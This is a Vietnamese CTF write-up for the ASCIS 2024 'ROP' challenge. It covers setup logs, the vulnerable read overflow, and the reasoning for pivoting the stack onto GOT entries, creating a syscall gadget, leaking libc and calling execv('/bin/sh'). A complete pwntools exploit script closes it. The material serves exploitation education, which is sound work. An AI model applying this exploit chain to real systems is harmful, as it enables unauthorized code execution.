pwn - ROP

November 4, 2025 October 17, 2025 Insane
Author Author Hung Nguyen Tuong

Setup

Chúng ta tiến hành setup challenge để lấy libcloader, sau đó patch binary bằng pwninit.

┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker build -t rop .                                                                                                                                    
[+] Building 20.2s (11/11) FINISHED
...
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker run -p 5000:5000 --privileged -it rop
[I][2025-10-24T04:25:41+0000] Mode: LISTEN_TCP
[I][2025-10-24T04:25:41+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:20, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
[I][2025-10-24T04:25:41+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
[I][2025-10-24T04:25:41+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2025-10-24T04:25:41+0000] Mount: '/proc' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_NOEXEC type:'proc' options:'' dir:true
[I][2025-10-24T04:25:41+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2025-10-24T04:25:41+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2025-10-24T04:25:41+0000] Listening on [::]:5000
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ nc 0 5000
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ ps aux | grep /app/run
kali       19854  0.0  0.0   2652  1276 ?        SNs  11:26   0:00 /app/run
kali       19935  0.0  0.0   6544  2320 pts/2    S+   11:26   0:00 grep --color=auto /app/run

┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ gdb -p 19854
GNU gdb (Debian 16.3-5) 16.3

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 /app/run
          0x401000           0x402000 r-xp     1000    1000 /app/run
          0x402000           0x403000 r--p     1000    2000 /app/run
          0x403000           0x404000 r--p     1000    2000 /app/run
          0x404000           0x405000 rw-p     1000    3000 /app/run
    0x7f328f5df000     0x7f328f5e2000 rw-p     3000       0 [anon_7f328f5df]
    0x7f328f5e2000     0x7f328f60a000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f328f60a000     0x7f328f79f000 r-xp   195000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f328f79f000     0x7f328f7f7000 r--p    58000  1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f328f7f7000     0x7f328f7f8000 ---p     1000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f328f7f8000     0x7f328f7fc000 r--p     4000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f328f7fc000     0x7f328f7fe000 rw-p     2000  219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7f328f7fe000     0x7f328f80b000 rw-p     d000       0 [anon_7f328f7fe]
    0x7f328f80d000     0x7f328f80f000 rw-p     2000       0 [anon_7f328f80d]
    0x7f328f80f000     0x7f328f813000 r--p     4000       0 [vvar]
    0x7f328f813000     0x7f328f815000 r--p     2000       0 [vvar_vclock]
    0x7f328f815000     0x7f328f817000 r-xp     2000       0 [vdso]
    0x7f328f817000     0x7f328f819000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f328f819000     0x7f328f843000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f328f843000     0x7f328f84e000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f328f84f000     0x7f328f851000 r--p     2000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7f328f851000     0x7f328f853000 rw-p     2000   39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffc10b000     0x7ffffc12c000 rw-p    21000       0 [stack]
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker ps -a
CONTAINER ID   IMAGE     COMMAND       CREATED              STATUS              PORTS                                         NAMES
86a981d3badf   rop       "/jail/run"   About a minute ago   Up About a minute   0.0.0.0:5000->5000/tcp, [::]:5000->5000/tcp   unruffled_hoover

┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker cp 86a981d3badf:/srv/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB to /home/kali/Desktop/ascis-2024/rop/player/.

┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker cp 86a981d3badf:/srv/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB to /home/kali/Desktop/ascis-2024/rop/player/.

┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ pwninit --bin chall 
bin: chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.8_amd64.deb
copying chall to chall_patched
running patchelf on chall_patched                                                                                                                            
writing solve.py stub

Source Code

main()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  vuln();
  return 0;
}

vuln()

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  *(_WORD *)buf = -15521;
  return read(0, buf, 0x48u);
}

Mitigation

Solve

Trong hàm vuln(), chúng ta thấy chỉ có hàm read() để ghi vào stack buffer. Không có bất kỳ hàm nào để in dữ liệu ra. Ta có thể overflow 40 byte, nhưng không đủ để xây dựng một ROP chain hoàn chỉnh để spawn shell. Liệt kê các return gadgets, ta chỉ thấy pop rdi; retleave; ret có vẻ hữu ích, ngoài ra cũng không có gadget syscall trực tiếp.

Tuy nhiên, ta lưu ý rằng đây là Partial RELRO, ta có thể nghĩ đến việc pivot stack đến vùng các GOT entry và ghi đè chúng.

Kiểm tra hàm alarm(), ta phát hiện có gadget syscall; ...; ret nằm trong đó.

Ta có thể trích xuất gadget syscall này bằng cách ghi đè byte cuối của GOT entry của alarm thành 0x49.

Sau khi đã có syscall, ta có thể tiếp tục nghĩ đến việc ghi đè một trong các GOT entry thành địa chỉ của execve để spawn shell. Tuy nhiên, việc này đòi hỏi phải leak libc, tức là cần có hàm để in dữ liệu ra. Vì đã có syscall, ta chỉ cần đặt rax thành 1 để thực hiện syscall write(). Ta có thể đặt rax thành 1 bằng cách chỉ ghi 1 byte khi gọi read(), vì giá trị trả về của read() sẽ được đặt vào rax.

Vậy ý tưởng là: ta sẽ liên tục sử dụng hàm read() sẵn có để lần lượt lấy được syscall \rightarrow leak libc \rightarrow lấy được địa chỉ execve \rightarrow spawn shell.

Buffer nằm tại vị trí rbp - 0x20, nên ta sẽ liên tục pivot rbp đến vị trí cần ghi cộng thêm 0x20.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = ""
        port = 0
        return remote(host, port)

p = conn()

alarm_got = exe.got['alarm']
alarm_plt = exe.plt['alarm']
syscall = alarm_got + 9
vuln_read = exe.symbols['vuln'] + 21

# Để có thể ghi vào alarm GOT, ta phải pivot rbp tới alarm_got + 0x20, nhưng nếu làm ngay lập tức thì saved rbp mới tại alarm_got + 0x20 và return address kế bên nó sẽ toàn là byte 0, lúc đó ta không thể tiếp tục làm gì được nữa.
# Do đó, ta pivot rbp tới alarm_got + 0x40 trước để ghi vào alarm_got + 0x20 một saved rbp, sau đó đặt saved rbp hiện tại tại alarm_got + 0x40 về alarm_got + 0x20 để ta sẽ pivot rbp trở lại alarm_got + 0x20, khi đó ta mới có thể ghi vào alarm GOT.

# Ban đầu, rbp đang ở trên stack
payload = flat(
    b'A' * 32, # padding
    alarm_got + 0x40, # pivot rbp tới alarm_got + 0x40
    vuln_read # sẽ dùng để ghi vào alarm_got + 0x20
)
s(p, payload) # ghi vào buffer trên stack
sleep(0.1)

# Bây giờ rbp đang ở alarm_got + 0x40
payload = flat(
    alarm_got + 0xa0, # pivot rbp tới alarm_got + 0xa0 sau khi ghi đè alarm GOT
    vuln_read, # sẽ dùng để ghi vào alarm_got + 0x80
    b'A' * 16, # padding
    alarm_got + 0x20, # pivot rbp tới alarm_got + 0x20
    vuln_read # sẽ dùng để ghi vào alarm GOT
)
s(p, payload) # ghi vào alarm_got + 0x20
sleep(0.1)

# Bây giờ rbp đang ở alarm_got + 0x20, ta có thể ghi đè byte cuối thành 0x49 để tạo syscall gadget
s(p, b'\x49') # ghi vào alarm GOT
sleep(0.1)

# Bây giờ ta sẽ leak địa chỉ libc, cụ thể là stderr GOT entry tại alarm_got + 0x60. Ta cần pivot rbp tới alarm_got + 0x80, đặt rsi thành alarm_got + 0x60 và rdx thành 0x48 bằng cách dùng vuln_read, sau đó ta cũng cần đặt cả rax và rdi thành 1, cuối cùng gọi syscall gadget ta đã có trước đó để thực thi write(1, buf, 0x48)

# Bây giờ rbp đang ở alarm_got + 0xa0
pop_rdi_ret = 0x0000000000401247
payload = flat(
    alarm_got + 0x20, # pivot rbp về alarm_got + 0x20 để ghi đè alarm GOT lần nữa thành execv sau khi leak được địa chỉ libc
    pop_rdi_ret, # pop 1 vào rdi
    p64(1),
    alarm_plt, # syscall
    alarm_got + 0xc0, # pivot rbp tới alarm_got + 0xc0 để tiếp tục viết ROP chain leak địa chỉ libc
    vuln_read # sẽ dùng để ghi vào alarm_got + 0xa0
)
s(p, payload) # ghi vào alarm_got + 0x80
sleep(0.1)

# Bây giờ rbp đang ở alarm_got + 0xc0, ta sẽ hoàn thiện ROP chain để leak địa chỉ libc, tiếp tục sau syscall
leave_ret = 0x0000000000401260
payload = flat(
    vuln_read, # sẽ dùng để ghi vào alarm GOT
    leave_ret, # sau khi ghi vào alarm_got + 0x80, lệnh "leave; ret" trong vuln_read sẽ đặt rbp thành alarm_got + 0xc0 và rsp thành alarm_got + 0xa8 (chính là VỊ TRÍ NÀY). Để có thể pivot rbp trở lại alarm_got + 0x80 và ghi vào alarm_got + 0x60, ta cần đặt thêm một "leave; ret" ở đây, sau đó là 16 bytes padding, tiếp theo là alarm_got + 0x80 và một vuln_read. Lệnh "leave" sẽ đặt rbp thành alarm_got + 0x80 và "ret" tiếp tục gọi vuln_read
    b'A' * 16,
    alarm_got + 0x80, # pivot rbp tới alarm_got + 0x80 để leak địa chỉ libc tại alarm_got + 0x60
    vuln_read, # sẽ dùng dùng để ghi 1 byte vào alarm_got + 0x60
    b'A' * 16, # padding
    b'/bin/sh\0' # để dùng sau này cho execv, nằm tại alarm_got + 0xe0
)
s(p, payload) # ghi vào alarm_got + 0xa0
sleep(0.1)

# Bây giờ rbp đang ở alarm_got + 0x80, ta sẽ đặt rax thành 1 bằng cách ghi 1 byte (kết quả từ read(0, buf, 0x48) sẽ được lưu vào rax)
s(p, b'\xff') # ghi vào alarm_got + 0x60
libc_leak = u64(p.recvn(6).ljust(8, b'\0'))
libc_base = libc_leak - 0x21b6ff # thay byte cuối của offset thành xff
libc.address = libc_base
success(f"libc base: {hex(libc_base)}")
sleep(0.1)

# Bây giờ rbp đang ở alarm_got + 0x20, ta sẽ ghi đè alarm GOT thành execv để không phải tự đặt rax thành 0x3b thủ công
payload = flat(
    libc.symbols['execv'], # ghi đè alarm GOT
    libc.symbols['read'],
    libc.symbols['signal'],
    libc.symbols['exit'],
    alarm_got + 0xa0, # pivot tới alarm_got + 0xa0 để viết ROP chain cuối cùng gọi execv
    vuln_read # sẽ dùng để ghi ROP chain spawn shell
)
s(p, payload) # ghi vào alarm GOT
sleep(0.1)

# Bây giờ rbp đang ở alarm_got + 0xa0
payload = flat(
    b'\0' * 32, # padding
    alarm_got + 0xa0, # rbp giữ nguyên, rsp chạy qua ROP chain dưới đây để spawn shell
    pop_rdi_ret, # đặt rdi thành alarm_got + 0xe0
    alarm_got + 0xe0, # /bin/sh
    alarm_plt # execv
)
p.send(payload)

p.recvrepeat(1)

ia(p)